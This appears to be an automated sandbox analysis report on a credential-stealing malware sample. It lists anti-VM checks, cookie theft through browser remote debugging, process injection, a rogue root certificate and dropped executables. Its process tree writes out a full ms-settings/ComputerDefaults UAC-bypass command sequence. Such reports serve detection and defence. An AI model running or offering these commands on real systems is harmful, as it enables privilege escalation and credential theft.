povertystealer | 16930620b3b9166e0ffbd98f5d5b580c9919fd6ccdcc74fb996f53577f508267

Virtualization/Sandbox Evasion

credential_access stealer

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	UqhRb9F.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1832	powershell.exe

Downloads MZ/PE file

Uses browser remote debugging 2 TTPs 4 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
2668	chrome.exe
2128	chrome.exe
3496	chrome.exe
2580	chrome.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	UqhRb9F.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	UqhRb9F.exe

Executes dropped EXE 30 IoCs

pid	Process
2868	UqhRb9F.exe
2628	Tq4a1Bz.exe
2980	wKQeiIr.exe
940	Tq4a1Bz.exe
320	fHR9z2C.exe
2116	filer.exe
1624	AmLzNi.exe
2672	Xworm%20V5.6.exe
1684	XClient.exe
1736	333.exe
1492	VBVEd6f.exe
1980	test12.exe
1712	test6.exe
2928	test14.exe
1652	pantest.exe
2248	test9.exe
2316	test10-29.exe
1948	test19.exe
2264	test10.exe
1368	test_again4.exe
2948	test23.exe
3040	test5.exe
3200	test11.exe
3520	test20.exe
3656	test_again3.exe
3752	test16.exe
4032	test13.exe
3180	test_again2.exe
1692	test15.exe
3936	test18.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	UqhRb9F.exe

Loads dropped DLL 43 IoCs

pid	Process
2628	Tq4a1Bz.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe
2356	New Text Document mod.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
19	raw.githubusercontent.com
20	raw.githubusercontent.com
226	bitbucket.org
228	bitbucket.org

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2940	arp.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral3/files/0x000c000000019515-200.dat	autoit_exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2868	UqhRb9F.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2628 set thread context of 940	2628	Tq4a1Bz.exe	35

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UqhRb9F.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VBVEd6f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Tq4a1Bz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Tq4a1Bz.exe

NSIS installer 1 IoCs

installer

resource	yara_rule
behavioral3/files/0x000800000001a44f-910.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	VBVEd6f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	VBVEd6f.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies registry class 33 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\DelegateExecute	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\1431.vbs"	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\7828.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\9471.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\ms-settings\Shell\Open	reg.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	VBVEd6f.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	VBVEd6f.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	VBVEd6f.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
1832	powershell.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe
2868	UqhRb9F.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	2356	New Text Document mod.exe
Token: SeDebugPrivilege	2868	UqhRb9F.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	2672	Xworm%20V5.6.exe
Token: SeDebugPrivilege	1684	XClient.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe
Token: SeShutdownPrivilege	2580	chrome.exe

Suspicious use of FindShellTrayWindow 44 IoCs

pid	Process
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe
2580	chrome.exe

Suspicious use of SendNotifyMessage 10 IoCs

pid	Process
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe
1624	AmLzNi.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2868	UqhRb9F.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 2868	2356	New Text Document mod.exe	32
PID 2356 wrote to memory of 2868	2356	New Text Document mod.exe	32
PID 2356 wrote to memory of 2868	2356	New Text Document mod.exe	32
PID 2356 wrote to memory of 2868	2356	New Text Document mod.exe	32
PID 2356 wrote to memory of 2628	2356	New Text Document mod.exe	33
PID 2356 wrote to memory of 2628	2356	New Text Document mod.exe	33
PID 2356 wrote to memory of 2628	2356	New Text Document mod.exe	33
PID 2356 wrote to memory of 2628	2356	New Text Document mod.exe	33
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2628 wrote to memory of 940	2628	Tq4a1Bz.exe	35
PID 2356 wrote to memory of 320	2356	New Text Document mod.exe	37
PID 2356 wrote to memory of 320	2356	New Text Document mod.exe	37
PID 2356 wrote to memory of 320	2356	New Text Document mod.exe	37
PID 320 wrote to memory of 2088	320	fHR9z2C.exe	39
PID 320 wrote to memory of 2088	320	fHR9z2C.exe	39
PID 320 wrote to memory of 2088	320	fHR9z2C.exe	39
PID 2088 wrote to memory of 2248	2088	cmd.exe	41
PID 2088 wrote to memory of 2248	2088	cmd.exe	41
PID 2088 wrote to memory of 2248	2088	cmd.exe	41
PID 320 wrote to memory of 2312	320	fHR9z2C.exe	42
PID 320 wrote to memory of 2312	320	fHR9z2C.exe	42
PID 320 wrote to memory of 2312	320	fHR9z2C.exe	42
PID 2312 wrote to memory of 1368	2312	cmd.exe	44
PID 2312 wrote to memory of 1368	2312	cmd.exe	44
PID 2312 wrote to memory of 1368	2312	cmd.exe	44
PID 2312 wrote to memory of 1828	2312	cmd.exe	45
PID 2312 wrote to memory of 1828	2312	cmd.exe	45
PID 2312 wrote to memory of 1828	2312	cmd.exe	45
PID 320 wrote to memory of 2176	320	fHR9z2C.exe	46
PID 320 wrote to memory of 2176	320	fHR9z2C.exe	46
PID 320 wrote to memory of 2176	320	fHR9z2C.exe	46
PID 2176 wrote to memory of 3064	2176	cmd.exe	48
PID 2176 wrote to memory of 3064	2176	cmd.exe	48
PID 2176 wrote to memory of 3064	2176	cmd.exe	48
PID 320 wrote to memory of 1796	320	fHR9z2C.exe	49
PID 320 wrote to memory of 1796	320	fHR9z2C.exe	49
PID 320 wrote to memory of 1796	320	fHR9z2C.exe	49
PID 320 wrote to memory of 2460	320	fHR9z2C.exe	51
PID 320 wrote to memory of 2460	320	fHR9z2C.exe	51
PID 320 wrote to memory of 2460	320	fHR9z2C.exe	51
PID 2460 wrote to memory of 1764	2460	cmd.exe	53
PID 2460 wrote to memory of 1764	2460	cmd.exe	53
PID 2460 wrote to memory of 1764	2460	cmd.exe	53
PID 320 wrote to memory of 1528	320	fHR9z2C.exe	54
PID 320 wrote to memory of 1528	320	fHR9z2C.exe	54
PID 320 wrote to memory of 1528	320	fHR9z2C.exe	54
PID 1528 wrote to memory of 1488	1528	cmd.exe	56
PID 1528 wrote to memory of 1488	1528	cmd.exe	56
PID 1528 wrote to memory of 1488	1528	cmd.exe	56
PID 320 wrote to memory of 1804	320	fHR9z2C.exe	57
PID 320 wrote to memory of 1804	320	fHR9z2C.exe	57
PID 320 wrote to memory of 1804	320	fHR9z2C.exe	57
PID 1804 wrote to memory of 1404	1804	cmd.exe	59
PID 1804 wrote to memory of 1404	1804	cmd.exe	59
PID 1804 wrote to memory of 1404	1804	cmd.exe	59
PID 1804 wrote to memory of 1968	1804	cmd.exe	60

C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Users\Admin\AppData\Local\Temp\a\UqhRb9F.exe
  "C:\Users\Admin\AppData\Local\Temp\a\UqhRb9F.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2868
- C:\Users\Admin\AppData\Local\Temp\a\Tq4a1Bz.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Tq4a1Bz.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2628
- - C:\Users\Admin\AppData\Local\Temp\a\Tq4a1Bz.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Tq4a1Bz.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:940
- C:\Users\Admin\AppData\Local\Temp\a\wKQeiIr.exe
  "C:\Users\Admin\AppData\Local\Temp\a\wKQeiIr.exe"
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Users\Admin\AppData\Local\Temp\a\fHR9z2C.exe
  "C:\Users\Admin\AppData\Local\Temp\a\fHR9z2C.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2088
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:2248
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\7828.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2312
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\7828.vbs" /f
      4⤵
      Modifies registry class
      PID:1368
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
      4⤵
      Modifies registry class
      PID:1828
- - C:\Windows\system32\cmd.exe
    /c start /B ComputerDefaults.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\system32\ComputerDefaults.exe
      ComputerDefaults.exe
      4⤵
      PID:3064
- - C:\Windows\system32\cmd.exe
    /c del /f C:\Users\Admin\AppData\Local\Temp\7828.vbs
    3⤵
    PID:1796
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2460
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      Modifies registry class
      PID:1764
- - C:\Windows\system32\cmd.exe
    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1528
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
      4⤵
      PID:1488
- - C:\Windows\system32\cmd.exe
    /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\1431.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1804
  - - C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\1431.vbs" /f
      4⤵
      Modifies registry class
      PID:1404
